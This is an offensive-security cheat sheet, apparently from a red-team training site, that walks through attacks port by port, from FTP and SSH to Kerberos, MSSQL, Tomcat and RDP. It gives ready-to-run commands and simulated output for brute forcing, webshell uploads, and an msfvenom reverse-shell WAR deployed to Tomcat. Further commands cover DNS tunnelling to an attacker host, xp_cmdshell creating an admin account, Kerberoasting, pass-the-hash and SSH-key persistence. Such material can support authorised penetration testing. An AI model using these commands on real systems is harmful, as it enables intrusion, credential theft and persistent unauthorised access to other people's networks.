



◆ OFFENSIVE SECURITY SERIES ◆

COMMON PORTS & SERVICES

Attacker POV

FTP · SSH · SMB · HTTP · Kerberos · MSSQL · RDP · WinRM · Redis · Tomcat

Nmap

SMB

HTTP

Kerberos

MSSQL

RDP

WinRM

Redis

Tomcat

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All enumeration and exploitation techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

Common Ports & Services — The Attacker's Enumeration Bible

- 01. HOW ATTACKERS APPROACH PORT DISCOVERY**
- 02. THE MASTER PORT REFERENCE — TOP 100 PORTS**
- 03. PORT 21 — FTP: FILE TRANSFER PROTOCOL**
- 04. PORT 22 — SSH: SECURE SHELL**
- 05. PORT 23 — TELNET: CLEARTEXT REMOTE ACCESS**
- 06. PORT 25/465/587 — SMTP: EMAIL DELIVERY**
- 07. PORT 53 — DNS: DOMAIN NAME SYSTEM**
- 08. PORT 80/443 — HTTP/HTTPS: WEB SERVICES**
- 09. PORT 88 — KERBEROS: AD AUTHENTICATION**
- 10. PORT 110/143/993/995 — EMAIL RETRIEVAL**
- 11. PORT 135/139/445 — RPC, NETBIOS & SMB**
- 12. PORT 389/636/3268 — LDAP & GLOBAL CATALOG**
- 13. PORT 1433 — MSSQL: MICROSOFT SQL SERVER**
- 14. PORT 3306 — MYSQL / MARIADB**
- 15. PORT 3389 — RDP: REMOTE DESKTOP**
- 16. PORT 5985/5986 — WINRM: WINDOWS REMOTE MGMT**
- 17. PORT 8080/8443 — APACHE TOMCAT & ALT HTTP**
- 18. HIGH-VALUE NON-STANDARD PORTS**
- 19. UDP PORTS ATTACKERS MUST KNOW**
- 20. PORT DISCOVERY CHEAT SHEET**



01 — HOW ATTACKERS APPROACH PORT DISCOVERY

Fast, Methodical, and Intelligence-Driven

Port discovery is the first active phase of any engagement after OSINT. The goal is not just to know WHAT is open — but to understand WHAT IT MEANS. Port 445 open tells you SMB is running; combined with no signing, that means NTLM relay is possible. Port 88 open confirms it's a Domain Controller. Every open port is a story — learn to read it.

Attacker's Port Scanning Methodology

\$ Port Discovery Workflow

```
# Phase 1: Fast sweep — discover live hosts
nmap -sn 192.168.10.0/24 --min-rate 2000 -oA host_sweep

# Phase 2: Top 1000 ports on all live hosts (fast)
nmap -sS --min-rate 5000 -iL live_hosts.txt -oA top1000

# Phase 3: Full port scan on interesting targets
nmap -sS -p- --min-rate 5000 192.168.10.5 -oA full_scan

# Phase 4: Version + script scan on open ports only
nmap -sV -sC -p 21,22,80,443,445,1433,3389 192.168.10.5

# Phase 5: Targeted NSE scripts per service
nmap --script smb-vuln* -p 445 192.168.10.5
nmap --script http-enum,http-shellshock -p 80,443 192.168.10.5

# Quick scan with masscan (faster than nmap for /16+)
masscan -p1-65535 192.168.10.0/24 --rate=10000 -oL masscan_out.txt
# Then feed to nmap for service detection:
awk '/open/{print $4}' masscan_out.txt | sort -u > open_ips.txt
nmap -sV -p $(cat open_ports.txt | tr '\n' ',') -iL open_ips.txt
```

Reading Open Ports — What Each Service Tells You

Ports Open	What It Means	Priority Action
88, 389, 445	Domain Controller	Kerberoast, LDAP enum, DCSync
445 (no signing)	NTLM relay target	Set up Responder + ntlmrelayx
1433	SQL Server	Check sa:sa, xp_cmdshell, LinkedServers
5985/5986	WinRM enabled	Try evil-winrm with any creds found



8080/8443	Tomcat/app server	Check /manager/html default creds
21 anon allowed	FTP misconfiguration	Is -la for sensitive files
23	Telnet	Capture cleartext credentials
6379	Redis no-auth	Direct command execution possible
9200	Elasticsearch	Data dump, possibly no auth
27017	MongoDB	Database dump, possibly no auth

```
root@kali: ~ -- nmap Full Service Scan: Typical Enterprise Target

(root@kali)-[~]
# nmap -sV -sC -p- --min-rate 5000 192.168.10.5 -oA full_scan

Nmap scan report for DC01.corp.local (192.168.10.5)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
22/tcp    open  ssh          OpenSSH 8.9p1
25/tcp    open  smtp         Microsoft ESMTP 15.0.1497
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows AD LDAP
443/tcp   open  ssl/http     Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds Windows Server 2019 microsoft-ds
636/tcp   open  ldapssl      Microsoft Windows AD LDAPS
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2019
3268/tcp  open  globalcatLDAP Microsoft Windows AD GC
3306/tcp  open  mysql        MySQL 8.0.35
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI 2.0 (WinRM)
8080/tcp  open  http-proxy   Apache Tomcat 9.0.82
8443/tcp  open  ssl/https-alt Apache Tomcat 9.0.82

(root@kali)-[~]
# _
```

Figure: nmap full port scan reveals 20 open ports — each tells a story about the target



02 — THE MASTER PORT REFERENCE

Top 100 Ports Every Attacker Must Know

Port(s)	Proto	Service	Attack Vector
21	TCP	FTP	Anon login, bounce, cred brute, cleartext
22	TCP	SSH	Brute force, key theft, tunneling, misconfig
23	TCP	Telnet	Cleartext sniff, brute force
25	TCP	SMTP	Open relay, VRFY user enum, spoofing
53	TCP/UDP	DNS	Zone transfer, tunnel, cache poison
67/68	UDP	DHCP	Starvation, rogue server
69	UDP	TFTP	No auth — read/write files
80	TCP	HTTP	Web app attacks: SQLi, XSS, RCE, IDOR
88	TCP/UDP	Kerberos	AS-REP roast, Kerberoast, Golden Ticket
110	TCP	POP3	Cred brute, email harvest
111	TCP/UDP	RPCbind	NFS mount, RPC enumeration
119	TCP	NNTP	Old news protocol, sometimes unauthenticated
123	UDP	NTP	Monlist amplification, time skew
135	TCP	MSRPC	DCOM attack, WMI remote exec
137-139	UDP/TCP	NetBIOS	Name spoofing, SMB session
143	TCP	IMAP	Cred brute, email harvest
161	UDP	SNMP	Community string brute, MIB dump
179	TCP	BGP	Route hijacking (ISP/datacenter level)
389	TCP/UDP	LDAP	Anon bind, enum users/groups/policies
443	TCP	HTTPS	Web app, SSL attacks, cert issues
445	TCP	SMB	EternalBlue, NTLM relay, share enum
465/587	TCP	SMTPS	Email submission, phishing relay
500	UDP	IKE/VPN	VPN fingerprint, aggressive mode
514	UDP	Syslog	Log injection, info gathering
636	TCP	LDAPS	Same as LDAP but TLS
873	TCP	rsync	Unauth file access/transfer



902	TCP	VMware	VMware ESXi SOAP API
993	TCP	IMAPS	Encrypted IMAP — brute force
995	TCP	POP3S	Encrypted POP3 — brute force
1080	TCP	SOCKS	Proxy tunnel, pivot point
1433	TCP	MSSQL	sa brute, xp_cmdshell RCE, linked servers
1521	TCP	Oracle DB	Default creds, TNS poison
2049	TCP/UDP	NFS	Mount without auth, read/write files
2375	TCP	Docker	Unauth Docker daemon — full host RCE
3000	TCP	Grafana/Node	Default creds, data exposure
3268	TCP	LDAP GC	AD Global Catalog — full forest enum
3306	TCP	MySQL	Default creds, file read/write
3389	TCP	RDP	Brute force, BlueKeep, PTH
4444	TCP	Metasploit	Default meterpreter listener
4848	TCP	GlassFish	Default admin creds, WAR deploy
5432	TCP	PostgreSQL	Default creds, COPY cmd execution
5900	TCP	VNC	No auth or weak password
5985	TCP	WinRM HTTP	evil-winrm remote shell
5986	TCP	WinRM HTTPS	evil-winrm TLS remote shell
6379	TCP	Redis	No-auth RCE, data dump, SSH key write
6443	TCP	Kubernetes	K8s API — misconfig = cluster takeover
8080	TCP	HTTP alt	Tomcat, Jenkins, proxy — default creds
8443	TCP	HTTPS alt	Tomcat SSL, management interfaces
8888	TCP	Jupyter	Unauthenticated notebook — Python RCE
9000	TCP	SonarQube	Default creds, code analysis data
9090	TCP	Prometheus	Metrics exposure, no auth common
9200	TCP	Elasticsearch	No-auth data dump, RCE via scripts
9300	TCP	Elasticsearch	Node communication, cluster enum
27017	TCP	MongoDB	No-auth database dump
50000	TCP	SAP	SAP ICM, SAP admin interfaces



03 — PORT 21: FTP — FILE TRANSFER PROTOCOL

Anonymous Login, Bounce Attacks & Cleartext Credentials

FTP (File Transfer Protocol) runs on port 21 for control and port 20 for data. It transmits ALL data including credentials in cleartext. Anonymous FTP access is a common misconfiguration that lets anyone browse and download files without authentication. FTP is frequently found on internal servers hosting backups, scripts, and configuration files.

Attack	Method	Tool	Impact
Anonymous login	Try user: anonymous, pass: anything	ftp, nxc	Access files without credentials
Credential brute	Brute username/password pairs	hydra, medusa	Account takeover
Cleartext sniff	MitM + tcpdump on port 21	tcpdump, wireshark	Steal creds in transit
FTP bounce	Use PORT command to scan 3rd party	nmap -b	Port scan hiding attacker IP
Writeable dir	Upload webshell to web root	ftp PUT	RCE via webshell

\$ FTP Attack Commands

```
# Anonymous FTP check
ftp 192.168.10.20

# Login: anonymous Password: (blank or any email)

# nmap anonymous FTP check
nmap --script ftp-anon -p 21 192.168.10.20

# nmap brute force
nmap --script ftp-brute -p 21 192.168.10.20

# Hydra brute force
hydra -L users.txt -P passwords.txt ftp://192.168.10.20

# NetExec FTP enumeration
nxc ftp 192.168.10.20 -u '' -p '' # anonymous
nxc ftp 192.168.10.20 -u admin -p admin --ls # list files

# Download all files recursively
wget -r --no-passive ftp://anonymous:@192.168.10.20/

# Upload webshell (if writable web directory)
ftp 192.168.10.20
ftp> cd /var/www/html
ftp> put shell.php
```

root@kali: ~ — Port 21 FTP anon login + Port 22 SSH brute force

```
(root@kali)-[~]
└─# # PORT 21 — FTP: anonymous login test
└─# ftp 192.168.10.20
220 Microsoft FTP Service
Name (192.168.10.20:root): anonymous
331 Anonymous access allowed, send identity as password.
Password: (press enter)
230 User logged in.
ftp> ls -la
226 Transfer complete.
-rw-r--r-- 1 user group 2048 Dec 01 backup_creds.txt
-rw-r--r-- 1 user group 8192 Dec 01 db_config.xml
drwxr-xr-x 2 user group 4096 Dec 01 uploads/

└─# # PORT 22 — SSH: banner grab + brute force
└─# ssh -v 192.168.10.5 2>&1 | grep -E 'banner|version|auth'
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.9
debug1: Authenticating to 192.168.10.5:22 as 'root'
debug1: Authentications that can continue: publickey,password

└─# # SSH brute force with hydra
└─# hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.5
[22][ssh] host: 192.168.10.5 login: jsmith password: Welcome!
[22][ssh] host: 192.168.10.5 login: admin password: P@ssw0rd!

(root@kali)-[~]
└─# _
```

Figure: FTP anon login succeeds — backup_creds.txt and db_config.xml accessible

04 — PORT 22: SSH — SECURE SHELL

Brute Force, Key Theft, Tunneling & Misconfigurations

SSH is the primary remote management protocol for Linux/Unix systems. While the protocol itself is secure (encrypted, authenticated), weak passwords, leaked private keys, misconfigured key-based auth, and agent forwarding abuse make SSH a frequent attack target.

\$ SSH Attack Commands

```
# Banner grab – fingerprint SSH version
nc 192.168.10.5 22
ssh-keyscan 192.168.10.5 2>/dev/null

# Check authentication methods supported
ssh -v 192.168.10.5 2>&1 | grep 'Authentication methods'

# Brute force with Hydra
hydra -L users.txt -P rockyou.txt ssh://192.168.10.5 -t 4

# Brute force with Medusa
medusa -h 192.168.10.5 -U users.txt -P passwords.txt -M ssh -t 4

# Check for default/weak keys
nmap --script ssh-auth-methods,ssh-hostkey -p 22 192.168.10.5

# Use found credentials – port forward to internal services
ssh jsmith@192.168.10.5 -L 13389:192.168.10.10:3389 -N

# SSH agent hijacking – steal forwarded agent
# On compromised host: find SSH agent sockets
find /tmp -name 'agent.*' 2>/dev/null
export SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.12345
ssh-add -l # list keys in hijacked agent
ssh root@internal-server # connect using stolen agent
```

RTG TIP

Always check `~/.ssh/authorized_keys` on compromised Linux hosts — add your key for persistence.

SSH agent forwarding abuse is silent — no new login event on the intermediary host.

Root login via SSH with password is still common on old systems — always try it.



05 — PORT 23: TELNET | 06 — PORTS 25/465/587: SMTP

Cleartext Remote Access + Email Enumeration & Relay

Port 23 — Telnet

Telnet is completely unencrypted — username, password, and all commands are transmitted as plaintext. Still found on old network devices, embedded systems, and legacy servers. A single MitM position captures full sessions.

\$ Telnet Attacks

```
# Check for Telnet and grab banner
nc 192.168.10.1 23
nmap --script telnet-ntlm-info -p 23 192.168.10.1

# Brute force Telnet
hydra -l admin -P rockyou.txt telnet://192.168.10.1

# Sniff Telnet session (MitM position needed)
tcpdump -i eth0 -A -n 'port 23' | grep -v '^$'
# Every keystroke appears in cleartext
```

Ports 25/465/587 — SMTP

SMTP handles email delivery. Attackers use it for user enumeration (VRFY/EXPN), open relay testing for phishing, and credential brute force against webmail.



\$ SMTP Attack Commands

```
# Banner grab
nc 192.168.10.20 25
nmap --script smtp-commands -p 25 192.168.10.20

# User enumeration via VRFY and RCPT TO
smtp-user-enum -M VRFY -U users.txt -t 192.168.10.20
smtp-user-enum -M RCPT -U users.txt -t 192.168.10.20

# Open relay test - send email from external to external
swaks --to external@gmail.com --from ceo@corp.local \
  --server 192.168.10.20
# If email delivered = open relay = usable for phishing

# Check for NTLM auth info leak
nmap --script smtp-ntlm-info -p 25 192.168.10.20
```

root@kali: ~ -- Port 25 SMTP VRFY enum + Port 8080 Tomcat WAR RCE

```
(root@kali)-[~]
└─# # PORT 25 - SMTP: user enum + open relay test
└─# nc 192.168.10.20 25
220 mail.corp.local Microsoft ESMTP MAIL Service ready
EHLO attacker
250-mail.corp.local Hello [192.168.10.99]
250-SIZE 37748736
250 OK
VRFY jsmith
252 2.1.5 jsmith@corp.local - user exists!
VRFY fakexyz
550 5.1.1 User unknown - user does not exist

└─# # PORT 8080/8443 - Tomcat: default credentials
└─# curl -u tomcat:tomcat http://192.168.10.5:8080/manager/html
[200 OK] Apache Tomcat Manager - authenticated!
└─# # Deploy malicious WAR file for RCE
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.99 \
  LPORT=4444 -f war -o shell.war
└─# curl -u tomcat:tomcat -T shell.war \
  http://192.168.10.5:8080/manager/text/deploy?path=/shell
[200 OK] WAR deployed successfully
└─# curl http://192.168.10.5:8080/shell/
[+] Reverse shell received - RCE via Tomcat WAR deployment!

(root@kali)-[~]
└─# _
```

Figure: SMTP VRFY user enumeration + Tomcat WAR deploy RCE on port 8080

07 — PORT 53: DNS — DOMAIN NAME SYSTEM

Zone Transfers, Tunneling, Cache Poisoning & Subdomain Enum

DNS is one of the most information-rich protocols for attackers. Zone transfers reveal the entire network map. DNS records reveal internal hosts, mail servers, and IP ranges. DNS tunneling bypasses firewalls. Almost every enterprise allows DNS outbound — making it a universal covert channel.

\$ DNS Attack Commands

```
# Basic DNS enumeration
dig @192.168.10.5 corp.local ANY +noall +answer
dig @192.168.10.5 corp.local MX +short
dig @192.168.10.5 corp.local NS +short

# Zone transfer attempt – dump ALL DNS records
dig axfr corp.local @192.168.10.5
dnsrecon -d corp.local -t axfr -n 192.168.10.5

# Subdomain brute force
dnsrecon -d corp.local -t brt -D /usr/share/seclists/Discovery/DNS/
gobuster dns -d corp.local -w subdomains.txt -r 192.168.10.5
dnsx -d corp.local -w subdomains.txt -r 192.168.10.5

# Reverse DNS lookup – find hostnames for IP range
dnsrecon -r 192.168.10.0/24 -n 192.168.10.5
nmap -R -sL 192.168.10.0/24 | grep -v 'not scanned'

# DNS tunneling – exfiltrate data via DNS queries
iodine -f -P secretpassword 203.0.113.99 tunnel.attacker.com
# All traffic tunnelled via DNS TXT/NULL queries

# DNS cache poisoning – redirect traffic (Kaminsky attack)
# Requires response faster than legitimate DNS server
```

08 — PORTS 80/443: HTTP/HTTPS — WEB SERVICES

The Largest Attack Surface in Any Engagement

HTTP/HTTPS is almost always the first and most important target. Web applications expose functionality, business logic, and often direct paths to backend systems. The attack surface includes every parameter, header, cookie, and API endpoint the application exposes.

Web Recon Methodology

\$ HTTP/HTTPS Attack Commands

```
# Fingerprint technology stack
whatweb http://192.168.10.5
curl -I http://192.168.10.5 # Check Server, X-Powered-By headers
wappalyzer (browser extension) # Visual tech detection

# Directory and file brute force
ffuf -u http://192.168.10.5/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
gobuster dir -u http://192.168.10.5 -w common.txt -x php,asp,aspx,txt

# Parameter fuzzing – find hidden parameters
ffuf -u 'http://192.168.10.5/api/user?FUZZ=1' -w params.txt
arjun -u http://192.168.10.5/api/user # auto parameter discovery

# Vulnerability scanning
nikto -h http://192.168.10.5 -Tuning 1234
nuclei -u http://192.168.10.5 -t cves/ -t exposures/

# SQLi testing
sqlmap -u 'http://192.168.10.5/search?q=1' --dbs --batch

# XSS testing
dalfox url 'http://192.168.10.5/search?q=test'

# SSRF testing – reach internal services via server
curl 'http://192.168.10.5/fetch?url=http://169.254.169.254/latest/meta-data/'
```



```
root@kali: ~ -- Port 80/443 HTTP: whatweb, ffuf dir brute, nikto scan

(root@kali)-[~]
└─# # PORT 80/443 - HTTP/HTTPS recon
└─# whatweb http://192.168.10.5

http://192.168.10.5 [200 OK] IIS[10.0] Microsoft-ASP.NET, Windows-Auth

└─# # Directory brute-force
└─# ffuf -u http://192.168.10.5/FUZZ -w /usr/share/seclists/Discovery/
    Web-Content/raft-medium-directories.txt -mc 200,301,302 -t 50

FUZZ      Status      Size      Words      Lines
----      -
admin     [Status: 301]    0         0         0
login     [Status: 200]   4821      142       28
backup    [Status: 200]   8192      0         0
api       [Status: 200]   1024      44        12
upload    [Status: 200]   512       8         4

└─# # Nikto - quick vuln scan
└─# nikto -h http://192.168.10.5 -Tuning 1234 2>/dev/null | tail -15
+ Server: Microsoft-IIS/10.0
+ /backup/: Directory indexing found.
+ /admin/: Admin login page found.
+ /phpmyadmin/: phpMyAdmin found - database admin accessible!
+ OSVDB-3268: /upload/: Directory listing found.

(root@kali)-[~]
└─#
```

Figure: whatweb fingerprints IIS, ffuf finds /admin /backup /upload, nikto finds phpMyAdmin

09 — PORT 88: KERBEROS — ACTIVE DIRECTORY AUTHENTICATION

AS-REP Roasting, Kerberoasting & Ticket Attacks

Port 88 open almost always means you are looking at a Domain Controller. Kerberos is the primary authentication protocol for Active Directory. It is the gateway to AS-REP Roasting, Kerberoasting, Golden Tickets, Silver Tickets, and Pass-the-Ticket — making it the highest-value port in any Active Directory environment.

\$ Kerberos / Port 88 Attack Commands

```
# Confirm DC via Kerberos port + DNS/LDAP combo
nmap -p 88,389,53 192.168.10.5 # DC fingerprint

# AS-REP Roasting – no credentials needed
# Find users with Kerberos pre-auth disabled
impacket-GetNPUsers corp.local/ -dc-ip 192.168.10.5 \
  -usersfile users.txt -format hashcat -no-pass

# Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r best64.rule

# Kerberoasting – request service tickets (needs any domain user)
impacket-GetUserSPNs corp.local/jsmith:'Welcome!' \
  -dc-ip 192.168.10.5 -outputfile kerberoast.txt

# Crack Kerberoast hashes
hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule

# Enumerate with Kerbrute – user enumeration via Kerberos
kerbrute userenum --dc 192.168.10.5 -d corp.local users.txt

# Pass-the-Ticket – inject .kirbi ticket
mimikatz # kerberos::ptt ticket.kirbi

# Then access resources using injected ticket
```



```
root@kali: ~ — Port 389 LDAP anon bind + Port 88 AS-REP Roast/Kerberoast

└─(root@kali)-[~]
└─# # PORT 389/636 — LDAP: anonymous bind + enumeration
└─# ldapsearch -x -H ldap://192.168.10.5 -b 'DC=corp,DC=local' \
  '(objectClass=user)' sAMAccountName description 2>/dev/null | head -30

# numEntries: 47
dn: CN=jsmith,CN=Users,DC=corp,DC=local
sAMAccountName: jsmith
description: Temp pass: Welcome! ← password in AD description!

dn: CN=svc_mssql,CN=Users,DC=corp,DC=local
sAMAccountName: svc_mssql
description: SQL service account - never changes

└─# # PORT 88 — Kerberos: AS-REP Roasting (no password needed)
└─# impacket-GetNPUsers corp.local/ -dc-ip 192.168.10.5 \
  -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

$krb5asrep$23$jsmith@CORP.LOCAL:8f2a3b4c...
$krb5asrep$23$svc_backup@CORP.LOCAL:1a2b3c4d...

└─# # Kerberoasting — request service tickets for cracking
└─# impacket-GetUserSPNs corp.local/jsmith:'Welcome!' \
  -dc-ip 192.168.10.5 -outputfile kerberoast.txt

$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*$3d8b...
[+] 3 Kerberoastable accounts found

└─(root@kali)-[~]
└─# _
```

Figure: LDAP anon bind finds password in description field; AS-REP Roast and Kerberoast hashes

10 — PORTS 110/143/993/995: EMAIL RETRIEVAL

POP3, IMAP & Credential Harvesting

POP3 (110/995) and IMAP (143/993) are used to retrieve emails from mail servers. While less common than webmail today, they still appear on internal mail servers. Successful authentication gives access to the victim's entire mailbox — a goldmine for password resets, business intelligence, and pivoting.

\$ POP3/IMAP Attack Commands

```
# IMAP — manual connection and authentication
nc 192.168.10.20 143
a1 LOGIN jsmith 'Welcome1!'
a2 LIST '' '*'      # list all mailboxes
a3 SELECT INBOX     # open inbox
a4 FETCH 1 BODY[]   # read first email

# POP3 — manual connection
nc 192.168.10.20 110
USER jsmith
PASS Welcome1!
LIST          # list messages
RETR 1        # retrieve first message

# Brute force email credentials
hydra -L users.txt -P rockyou.txt imap://192.168.10.20
hydra -L users.txt -P rockyou.txt pop3://192.168.10.20

# IMAP over TLS (port 993)
openssl s_client -connect 192.168.10.20:993

# nmap script scan
nmap --script imap-capabilities,imap-brute -p 143,993 192.168.10.20
nmap --script pop3-capabilities,pop3-brute -p 110,995 192.168.10.20
```



11 — PORTS 135/139/445: RPC, NETBIOS & SMB

The Most Attacked Windows Service Stack

The combination of ports 135, 139, and 445 defines the Windows network service stack. SMB (445) is by far the most critical — it enables file sharing, remote management, and authentication. Combined with NTLM relay, SMB is the most exploited protocol in internal network assessments.

\$ SMB/RPC Attack Commands

```
# SMB version and signing check
nxc smb 192.168.10.0/24
# Output: SMBv1/v2, signing T/F, OS version

# Null session enumeration (Windows XP/2003 era)
enum4linux-ng -A 192.168.10.5
smbclient -L //192.168.10.5 -N

# Authenticated share enumeration
nxc smb 192.168.10.5 -u jsmith -p 'Welcome1!' --shares
smbclient //192.168.10.5/IT-Share -U 'CORP/jsmith%Welcome1!'

# Spider shares for sensitive files
nxc smb 192.168.10.5 -u jsmith -p 'Welcome1!' -M spider_plus

# EternalBlue (MS17-010) check
nmap --script smb-vuln-ms17-010 -p 445 192.168.10.5

# NTLM relay setup (requires Responder + ntlmrelayx)
# Disable SMB/HTTP in /etc/responder/Responder.conf first
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
responder -I eth0 -rdw

# WMI remote execution via port 135
impacket-wmiexec corp.local/Administrator@192.168.10.5 \
  -hashes aad3b435b51404ee:fc525c9683e8fe06
```

```
root@kali: ~ — Port 445 SMB: signing check, share enum, spider_plus

(root@kali)-[~]
└─# PORT 445 — SMB: full enumeration with NetExec
└─# nxc smb 192.168.10.0/24 --gen-relay-list relay.txt

SMB 192.168.10.5 445 DC01 [*] Windows Server 2019 x64
SMB 192.168.10.5 445 DC01 [-] Signing: True ← no relay
SMB 192.168.10.105 445 WS01 [*] Windows 10 x64
SMB 192.168.10.105 445 WS01 [+] Signing: False ← relay target!
SMB 192.168.10.106 445 WS02 [+] Signing: False ← relay target!

└─# Enumerate shares
└─# nxc smb 192.168.10.5 -u jsmith -p 'Welcome!' --shares

SMB 192.168.10.5 445 DC01 Share Permissions Remark
SMB 192.168.10.5 445 DC01 -----
SMB 192.168.10.5 445 DC01 ADMIN$ Remote Admin
SMB 192.168.10.5 445 DC01 C$ Default share
SMB 192.168.10.5 445 DC01 NETLOGON READ Logon server share
SMB 192.168.10.5 445 DC01 IT-Share READ,WRITE IT Department files
SMB 192.168.10.5 445 DC01 Backups READ Backup files

└─# nxc smb 192.168.10.5 -u jsmith -p 'Welcome!' -M spider_plus
[+] Saved share listing to /tmp/nxc_spider_plus/192.168.10.5.json
[+] Found credentials.xlsx in Backups share!

(root@kali)-[~]
└─# _
```

Figure: SMB signing check — WS01/WS02 are relay targets; share enum finds IT-Share writable

12 — PORTS 389/636/3268: LDAP & GLOBAL CATALOG

Active Directory Enumeration via LDAP

LDAP is the query language for Active Directory. Anonymous binds, authenticated enumeration, and LDAP injection are all possible. Port 3268 is the Global Catalog — it contains a partial replica of ALL objects in the entire forest, making it the best target for cross-domain enumeration.

\$ LDAP Enumeration Commands

```
# Anonymous LDAP bind – enumerate without credentials
ldapsearch -x -H ldap://192.168.10.5 -b 'DC=corp,DC=local' \
  '(objectClass=*)' | head -50

# Enumerate all users
ldapsearch -x -H ldap://192.168.10.5 -D 'jsmith@corp.local' \
  -w 'Welcome1!' -b 'DC=corp,DC=local' '(objectClass=user)' \
  sAMAccountName description memberOf

# Find users with password in description (common misconfiguration)
ldapsearch -x -H ldap://192.168.10.5 -b 'DC=corp,DC=local' \
  '(&(objectClass=user)(description=*pass*))' sAMAccountName description

# Find AS-REP roastable users
ldapsearch -x -H ldap://192.168.10.5 -b 'DC=corp,DC=local' \
  '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304))'

# Find Kerberoastable users (have SPNs)
ldapsearch -x -H ldap://192.168.10.5 -b 'DC=corp,DC=local' \
  '(&(objectClass=user)(servicePrincipalName=*))'

# ldeep – comprehensive LDAP enumeration tool
ldeep ldap -u jsmith -p 'Welcome1!' -d corp.local \
  -s 192.168.10.5 all

# BloodHound – visualise AD attack paths
bloodhound-python -u jsmith -p 'Welcome1!' -d corp.local \
  -dc 192.168.10.5 -c All
```



13 — PORT 1433: MSSQL | 14 — PORT 3306: MYSQL

Database Exploitation: xp_cmdshell, File Read & RCE

Port 1433 — Microsoft SQL Server

\$ MSSQL Attack Commands

```
# Discover MSSQL instances (UDP 1434 for SQL Browser)
nmap -sU -p 1434 --script ms-sql-info 192.168.10.5
nxc mssql 192.168.10.0/24

# Brute force SA account
nxc mssql 192.168.10.5 -u sa -p passwords.txt
hydra -l sa -P passwords.txt mssql://192.168.10.5

# Connect and execute OS commands via xp_cmdshell
impacket-mssqlclient sa:'Password1!'@192.168.10.5
SQL> enable_xp_cmdshell
SQL> xp_cmdshell 'whoami'
SQL> xp_cmdshell 'net user hacker P@ssw0rd! /add'
SQL> xp_cmdshell 'net localgroup Administrators hacker /add'

# Read files via BULK INSERT
SQL> BULK INSERT t FROM 'C:\Windows\win.ini' WITH (ROWTERMINATOR='\n')

# Linked server attacks – pivot to other SQL servers
SQL> SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version')
SQL> EXECUTE ('xp_cmdshell ''whoami''') AT [LINKED_SRV]
```

Port 3306 — MySQL / MariaDB

\$ MySQL Attack Commands

```
# Connect with default/empty root password
mysql -h 192.168.10.5 -u root -p
mysql -h 192.168.10.5 -u root # no password attempt

# Enumerate databases and users
mysql> SHOW DATABASES;
mysql> SELECT user, authentication_string FROM mysql.user;

# Read files (if FILE privilege granted)
mysql> SELECT LOAD_FILE('/etc/passwd');
mysql> SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');

# Write files - drop webshell
mysql> SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# UDF (User Defined Function) privilege escalation
# Upload malicious .so/.dll as UDF -> OS command execution
mysql> CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
mysql> SELECT sys_exec('whoami');
```

```
root@kali: ~ -- Port 1433 MSSQL xp_cmdshell RCE + Port 3306 MySQL

(root@kali)-[~]
└─# # PORT 1433 - MSSQL: enum + RCE via xp_cmdshell
└─# nxc mssql 192.168.10.5 -u sa -p 'Password!' --local-auth
MSSQL 192.168.10.5 1433 DC01 [+] sa:Password! (Pwn3d!)

└─# impacket-mssqlclient sa:'Password!'@192.168.10.5
Impacket v0.11.0 - SQL client
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(DC01\SQLEXPRESS): Login Successful

SQL> enable_xp_cmdshell
[*] INFO: Configuration option 'xp_cmdshell' changed to 1.

SQL> xp_cmdshell whoami
output
-----
nt service\mssqlserver

SQL> xp_cmdshell 'powershell -e <b64_reverse_shell>'
[+] Reverse shell caught on port 4444!

└─# # PORT 3306 - MySQL: default creds
└─# mysql -h 192.168.10.5 -u root -p''
mysql> show databases;
corp_users | corp_finance | wordpress_db | phpmyadmin
mysql> select user,password from mysql.user;
root | *84AAD12F2AB91F6F888B8234DBE5B84D3AAE2B8B

(root@kali)-[~]
└─# _
```

Figure: MSSQL SA login, xp_cmdshell RCE as NT SERVICE, MySQL root login, DB enum



15 — PORT 3389: RDP | 16 — PORTS 5985/5986: WINRM

Remote Desktop & Windows Remote Management

Port 3389 — Remote Desktop Protocol

\$ RDP Attack Commands

```
# RDP service fingerprinting
nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 TARGET

# Check for BlueKeep (CVE-2019-0708) — unauthenticated RCE
nmap --script rdp-vuln-ms12-020 -p 3389 TARGET
# Metasploit: use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

# Brute force RDP credentials
hydra -l Administrator -P rockyou.txt rdp://TARGET -t 4
nxc rdp TARGET -u users.txt -p passwords.txt

# Connect via xfreerdp (Linux)
xfreerdp /v:TARGET /u:Administrator /p:'Password!' /cert:ignore
xfreerdp /v:TARGET /u:Administrator /pth:NTLM_HASH /cert:ignore

# RDP session hijacking — steal active session (SYSTEM required)
query session # list sessions on Windows
tscon 2 /dest:console # hijack session ID 2
```

